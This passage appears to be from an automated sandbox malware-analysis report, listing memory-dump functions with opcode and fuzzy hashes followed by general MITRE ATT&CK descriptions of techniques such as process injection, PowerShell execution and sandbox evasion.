Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 849cee06aac4e0ff02ee69c159dd5788c20ae6478589615708ae1c0629c4bd44
Instruction ID: b11aee70f32e7883a314e0c23b87e142a58b03ebcff581beeb6048daf1054872
Opcode Fuzzy Hash: 849cee06aac4e0ff02ee69c159dd5788c20ae6478589615708ae1c0629c4bd44
Instruction Fuzzy Hash: 8B218275B08A0A4FD7A8EF2CC05627AB3D2EFE5311754857FC04FC3695EE25A4068780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B00367, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f28ecceb7a0eb04ef62bb7460740e14f4761a37ec9c9c5dd5178c50077643a84
Instruction ID: 90b27a1d7e2d5ef29570f61ae3afb28207b3e300745aa83e32527cd4c04c9771
Opcode Fuzzy Hash: f28ecceb7a0eb04ef62bb7460740e14f4761a37ec9c9c5dd5178c50077643a84
Instruction Fuzzy Hash: 3821A131708D094FD698EB2CE849A7173D1FBAA710B50417DE04EC36A6EE25FC468781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B05FA0, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 490553b78eb721eacf92c111c5a996238e45174dba6892621f213777bb803009
Instruction ID: 9f5ba6e6afa59f619498452ed8497e82340ea0f5c4bcaf8014cb3b2942250a45
Opcode Fuzzy Hash: 490553b78eb721eacf92c111c5a996238e45174dba6892621f213777bb803009
Instruction Fuzzy Hash: BF212512F08D0B4FE9E8DF5CD045676A3C1EB9A710B5082BAD00EC3A95ED15AC0283C5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B087ED, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25253ded3a7ffd8201df911221b058878e9ad5d93cffc81749a683d224260d77
Instruction ID: 68406d73650636ef5fde991a63ad5ff6e74fbd4cc45d24480f85581065a34f48
Opcode Fuzzy Hash: 25253ded3a7ffd8201df911221b058878e9ad5d93cffc81749a683d224260d77
Instruction Fuzzy Hash: FD21D63190D68A4FD751AB78D8156B5BBE1EF97300F49C0FAE44CC71D3EE28A9058752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35BC193D, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912984955.00007FFA35BC0000.00000040.00000001.sdmp, Offset: 00007FFA35BC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e76dbb032b52b1c824368124ee481a47cf69b076781d1bc4f461392e0db3fcb8
Instruction ID: 4a5fe25d7304f7fe6e365ad2636dbf5932b26997cbeaac4c8c027d7e305085fe
Opcode Fuzzy Hash: e76dbb032b52b1c824368124ee481a47cf69b076781d1bc4f461392e0db3fcb8
Instruction Fuzzy Hash: B8210A16E1DF970FF2B46B6C681207466D1EF47E10B5881BAD40DDB1D7EC5A9C0611CA

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B009FE, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 941a71ad0022b5bf0cdf2027e8e037a810540178b71e0d582f38d385b068dbf1
Instruction ID: 4dcaafd0d78527b9c62e164eba4ed587fdf5df9efe97f216f29da4546e9d78f1
Opcode Fuzzy Hash: 941a71ad0022b5bf0cdf2027e8e037a810540178b71e0d582f38d385b068dbf1
Instruction Fuzzy Hash: 2321E221918A5E0FEBA1EB78C4097FABBE0FF5A300F4484B6D04EC3193EF2864449342

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AF6B94, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 510b3b2982f6ad5cae2fcfd4c0bf2a74a5bf5e9b5dc16324074551469afd1bee
Instruction ID: cd86fa50fba3a18b13b58e49e5c4638de19a8acf5f4f786e74dac98282cd6aae
Opcode Fuzzy Hash: 510b3b2982f6ad5cae2fcfd4c0bf2a74a5bf5e9b5dc16324074551469afd1bee
Instruction Fuzzy Hash: BA21FB30A0DA898FDB86E72C9855AA47BE1EF57354B5440EEC00DC71A3CD26DC41D781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AF3314, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96e365befe88a9a866a9f2592381e5b813eb350bf7299441d12ffac0500be132
Instruction ID: baee1ffc24b77fc2c2d23a8cb6effb3042a11e1a15bd8be863d5777e2c001f27
Opcode Fuzzy Hash: 96e365befe88a9a866a9f2592381e5b813eb350bf7299441d12ffac0500be132
Instruction Fuzzy Hash: 5621A13051CA494FD749DB1CD8966BAB7E1FF96320F10457EE48EC7592DE36A482C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B058AD, Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 153cf7a75990790d3de21719274db8908d365b0a1b41baa20a154cb397248680
Instruction ID: b0fad5710377b631bdfb568c6d7800d2b109cadf59599e6c611c1d118e571e7f
Opcode Fuzzy Hash: 153cf7a75990790d3de21719274db8908d365b0a1b41baa20a154cb397248680
Instruction Fuzzy Hash: 73112742A0DA8B0FD2A6632DC8566B57BD0DF9661070481BBD04EC31E3EC082C479392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AF5F28, Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5159da775be896400dbc1385d9a63355e00df7f4d8cfffac6652991284c2ca
Instruction ID: 663b1b5f06648ca224996de530fb0a7290a5d93a065e372a813b0f851183ea3e
Opcode Fuzzy Hash: 6e5159da775be896400dbc1385d9a63355e00df7f4d8cfffac6652991284c2ca
Instruction Fuzzy Hash: A021C332A1EB46CFE759DB6CC8526B837A1EF4B714F5040EAC00EC72A2CD276801EB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AF5F26, Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362646350fe3ce64505ebf2b0af6c264998ef40b6c3e3de1da60b9c23b9cb938
Instruction ID: 663b1b5f06648ca224996de530fb0a7290a5d93a065e372a813b0f851183ea3e
Opcode Fuzzy Hash: 362646350fe3ce64505ebf2b0af6c264998ef40b6c3e3de1da60b9c23b9cb938
Instruction Fuzzy Hash: A021C332A1EB46CFE759DB6CC8526B837A1EF4B714F5040EAC00EC72A2CD276801EB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AF6925, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9f03e40d892f65ec5663831cfba558cf44d66ff6211f34621ad2559dd5cca6b
Instruction ID: e4f531716a7a2ee462b3e793c9af894d3531f6b9392fc4f2cc2e8d3ccc307169
Opcode Fuzzy Hash: f9f03e40d892f65ec5663831cfba558cf44d66ff6211f34621ad2559dd5cca6b
Instruction Fuzzy Hash: A211B661E1DB874FE35D976C4CAA2346BD2EF5AB00B4981BFD04DC7697CD1618069241

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B11F90, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aabf2f431634d848d1609c1f8b5fab3be87d414a9b909f694c3e5ed7e9a01ed5
Instruction ID: 350ce9b45b555fa75040f1c73566fda53f541e265dfa930c23217a247aabb05c
Opcode Fuzzy Hash: aabf2f431634d848d1609c1f8b5fab3be87d414a9b909f694c3e5ed7e9a01ed5
Instruction Fuzzy Hash: F8118F34E18E478FEBA99B3C8415671B3D1FF5A700B50C579D04EC2185EF2AE882A341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B00348, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9715c7aded285e0cc02d7c563e9729735d38a47108f5d56141ed56878d386551
Instruction ID: 64cca55ecc6305a3d4b790fba4f838393742bb3820be32376c1e2aadc6a0886c
Opcode Fuzzy Hash: 9715c7aded285e0cc02d7c563e9729735d38a47108f5d56141ed56878d386551
Instruction Fuzzy Hash: 0611E470918A4E8FDF80EF6CC845AEDBBE0FF18300F10852AE40DE3251EA75A5808B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B06AE5, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60fec79919eac517ef27a530723d2e5acd6e46c3efeeb923c332a67ef2c82261
Instruction ID: 7f475ff53174902d58567dd2f8e16b0f4dd2c266c312a65ef2063e85a621a27e
Opcode Fuzzy Hash: 60fec79919eac517ef27a530723d2e5acd6e46c3efeeb923c332a67ef2c82261
Instruction Fuzzy Hash: 3301D831909A4A4FD7A4EF28C856A767BD1FF5A700B55807DD00DD7592EE66AC00C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B02B80, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7221b44b00c1cc8efb46c1977b003b5dd1055e4f2bd9e2c28cfef2b89a0520aa
Instruction ID: a1b07ed0db131fbe6fd99d2abed2b2975a81c2649ede1ad3db3ad5febf029e04
Opcode Fuzzy Hash: 7221b44b00c1cc8efb46c1977b003b5dd1055e4f2bd9e2c28cfef2b89a0520aa
Instruction Fuzzy Hash: CE01D621E1CE160FE3ACB63DA84A4B6B6D4EF6A710750807EE44EC36DBED15A8464385

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B09FE7, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8349c633436611562fd7985690216184407c50e9720f606c95c547da4b51513f
Instruction ID: a300c49a5451afebb98338bd9bdcf6a3263bc32ccb3b7b8c1a125b85b1abf1d9
Opcode Fuzzy Hash: 8349c633436611562fd7985690216184407c50e9720f606c95c547da4b51513f
Instruction Fuzzy Hash: 3201FC70A18F0F9FDA64AE0DC845932B3D5EFAA710B50817DD04DC3242EE65FC424292

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B12220, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 448834193c88b0d47e8aa380f0820046deb9845ed395a14ef4b0d2236f77aab9
Instruction ID: f5ecc37fc264bf88bd2113e95dd3bdc18b9f6edc4b668076b1748dedce5f4d51
Opcode Fuzzy Hash: 448834193c88b0d47e8aa380f0820046deb9845ed395a14ef4b0d2236f77aab9
Instruction Fuzzy Hash: D401F72091D54B0FD3596B3C98596A677E0DF97210B5885B6D84DCB197ED1CA8828381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B28660, Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46f5e84f1aee4e53e23748ac0edc9d3a8d6663ac3d7eec21720c9445883734ea
Instruction ID: 4c3984d36188566b3ca7f4657306145ed6d6560fc7419c93bffc932e98127af9
Opcode Fuzzy Hash: 46f5e84f1aee4e53e23748ac0edc9d3a8d6663ac3d7eec21720c9445883734ea
Instruction Fuzzy Hash: CDF0F611B08A1F0FEBA8965CF4546F435C1EB8A221B4940FBE40DC7299EC4A8CC583C2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B05948, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb6fd58c719ef22bf497f90842c4093c3b2644f87401324ffa40b6ff5100303
Instruction ID: 8f2f3b51a0b84f41e3e54e1d1e3a7752c0fc7cf8d6379c540a1380dbe09beaf5
Opcode Fuzzy Hash: 9eb6fd58c719ef22bf497f90842c4093c3b2644f87401324ffa40b6ff5100303
Instruction Fuzzy Hash: FE016231A48E054FD668FB2DD8424B6B3D1EF55720360863ED05F835E7DE25B84A8745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B06A89, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69c9b8cb3199cb3102a3bd2370e4bf0174024bc067a92d5ccdf20ad660ac7dcb
Instruction ID: 5c1cecc59ba3531ddb4e959be373fa397a4732bc942406d58c162176ac7241f1
Opcode Fuzzy Hash: 69c9b8cb3199cb3102a3bd2370e4bf0174024bc067a92d5ccdf20ad660ac7dcb
Instruction Fuzzy Hash: A8F0693091878E4FDB46EF7888181AABBF0FF26200B4009BBE45DD31A3DA7859148741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AF4328, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 241a57513175a8f26ec7a5d9c764a2ffd4ac672a62c5cc63957281bc4d4d0f64
Instruction ID: ce8686907d87bbb5dfd7909b9ed9f5e3786648300c1c966478a1db0250824e3c
Opcode Fuzzy Hash: 241a57513175a8f26ec7a5d9c764a2ffd4ac672a62c5cc63957281bc4d4d0f64
Instruction Fuzzy Hash: B5F0373275C6054FDB5CAA1CF8529B573D1EB99320B10417EE48FC2696D917F8428685

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AFFD1C, Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40fe5f384a6812f1654a5f28c107a02419f7cf27a22583ba3411fe11857c1657
Instruction ID: 767ba5cfcfbc1c0f77cb770f0913016c63d3d95b617dc21f443fe59ad43cd8f6
Opcode Fuzzy Hash: 40fe5f384a6812f1654a5f28c107a02419f7cf27a22583ba3411fe11857c1657
Instruction Fuzzy Hash: EEF06530E1854D5FDB50F7B488196E9BBE0EF4A304F5184B6D40DC31D2DD3D95558701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B07E3D, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d294ef7cc6b4d05505d432a8263c8db2b0872da54dae589b4d527a0d5a7a463b
Instruction ID: e128705c886e197e3df8e3c2a0bea9b55c7303e576ff5ea38086bfe11985300d
Opcode Fuzzy Hash: d294ef7cc6b4d05505d432a8263c8db2b0872da54dae589b4d527a0d5a7a463b
Instruction Fuzzy Hash: 34F0A030E1864D5FDB44EBB488192EABBE1EF59300F8184BAE40DC71D3EE3D99448B01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B074F0, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca857758787e57aeb1741087785fd5e8c7b67b40a9bb739e28bc7aa873c4f877
Instruction ID: 615e54fb2e86a369eb46889e4bec51e5486d6e51b66421fd2e25fab4b54df419
Opcode Fuzzy Hash: ca857758787e57aeb1741087785fd5e8c7b67b40a9bb739e28bc7aa873c4f877
Instruction Fuzzy Hash: BCE06520A14A0B0BE5ACAB3CD448AB951D5EB85710F948539E40DC3289DD19ACC253C5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AF6A67, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b4d47b57e75f053347830315aca91de899b2b2f99c1e1b3ee3b6b6b07da4ea7
Instruction ID: df3d51e857057c0c7238ce87e3d8e20598c65ff0797992fe321c218d108e3c42
Opcode Fuzzy Hash: 9b4d47b57e75f053347830315aca91de899b2b2f99c1e1b3ee3b6b6b07da4ea7
Instruction Fuzzy Hash: 0FE09B11B0D78A0FE719632C586A2257BD3DF9AB04F58C0BF900DC71D7CC6A5C425245

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B19D50, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8726470037c94048eadc67045c0b9448ce23f794962153513c0312e4abbae319
Instruction ID: 57c8e7b2ac8f6ccdbf81f56cc3eddd00fb45dc5adc344e26ffc383f43d31848b
Opcode Fuzzy Hash: 8726470037c94048eadc67045c0b9448ce23f794962153513c0312e4abbae319
Instruction Fuzzy Hash: 7EE0C230B14C1E4FCAD8F71CA84567572D5EFC972074841B2E40CC3258DE14CC4183C2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B12BF0, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc27a0a032bfb734f5794b2ce09c6bf8d668220f101f1953adbdbfc00709ffb5
Instruction ID: c271bb36a2380ffe6d89e27c8dc1a50314744ae50481e65c7af6ffee6a7b852a
Opcode Fuzzy Hash: fc27a0a032bfb734f5794b2ce09c6bf8d668220f101f1953adbdbfc00709ffb5
Instruction Fuzzy Hash: BBD01220D18E194FDAB4BF7C90453A5B1E0FF19710F404A79D05EC35C9EF69A98543C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B08FA0, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08bb5c53b795f86988dd2f7b3b4844171acd076daf357c754fa6ad83a0b1f01b
Instruction ID: b017d0c56fefacfcfd1c154132db5c850b00c18d911932d40c774425170af413
Opcode Fuzzy Hash: 08bb5c53b795f86988dd2f7b3b4844171acd076daf357c754fa6ad83a0b1f01b
Instruction Fuzzy Hash: C5C01245B20E0A0AE288BA3E088A030A6E39BA9900B84C231680CC329AFD1468422146

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B01328, Relevance: .0, Instructions: 1COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 241c6e9aa06629e3bbedf1b983172faeca91240895a29f5cf5102d4eb8684386
Instruction ID: 3d7e29e72d0f529b5330cb9ec588b9685d2e4d9207dc0bd400df0841f4def21c
Opcode Fuzzy Hash: 241c6e9aa06629e3bbedf1b983172faeca91240895a29f5cf5102d4eb8684386
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFA35BC0F82, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912984955.00007FFA35BC0000.00000040.00000001.sdmp, Offset: 00007FFA35BC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28d93c29a33e88e771f4afd6ed84500153befd5a90cbd036bd6cae51f558ded2
Instruction ID: a3cf4202ea4dd61a4de7a8f067dd0135f2f0a174a3c010b7bb727ea5422875b2
Opcode Fuzzy Hash: 28d93c29a33e88e771f4afd6ed84500153befd5a90cbd036bd6cae51f558ded2
Instruction Fuzzy Hash: D7D0CA0250E6C88FD30223A088245403F30AEA330030E80EBC88AEE2F3E9288406C362

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

